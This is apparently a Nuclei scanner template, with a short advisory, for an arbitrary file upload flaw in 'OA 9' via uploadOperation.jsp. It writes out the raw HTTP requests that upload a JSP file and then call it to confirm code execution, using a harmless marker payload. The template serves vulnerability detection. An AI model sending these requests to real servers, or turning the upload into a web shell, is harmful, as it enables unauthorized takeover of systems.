OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: oa-v9-uploads-file
info:
name: OA 9 - Arbitrary File Upload
author: pikpikcu
severity: high
description: OA 9 is susceptible to arbitrary file upload via the uploadOperation.jsp endpoint. These files can be subsequently called and are executed by the remote software, and an attacker can obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cwe-id: CWE-434
metadata:
max-request: 2
tags: rce,jsp,fileupload,intrusive,vuln
http:
- raw:
- |
POST /page/exportImport/uploadOperation.jsp HTTP/1.1
Host: {{Hostname}}
Origin: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo
------WebKitFormBoundaryFy3iNVBftjP6IOwo
Content-Disposition: form-data; name="file"; filename="poc.jsp"
Content-Type: application/octet-stream
<%out.print(2be8e556fee1a876f10fa086979b8c7c);%>
------WebKitFormBoundaryFy3iNVBftjP6IOwo--
- |
GET /page/exportImport/fileTransfer/poc.jsp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2, "2be8e556fee1a876f10fa086979b8c7c")'
- 'status_code_2 == 200'
condition: and
# digest: 4a0a00473045022100bfa7120e2405884bcdc5744c8be313f38226ce75269de93aabd23d5d1b21893e02202ffdf6d6edf28b53c2aeccd6b261d8ea332e3d5bbff9f41a3d7186a9628f0297:922c64590222798bb761d5b6d8e72950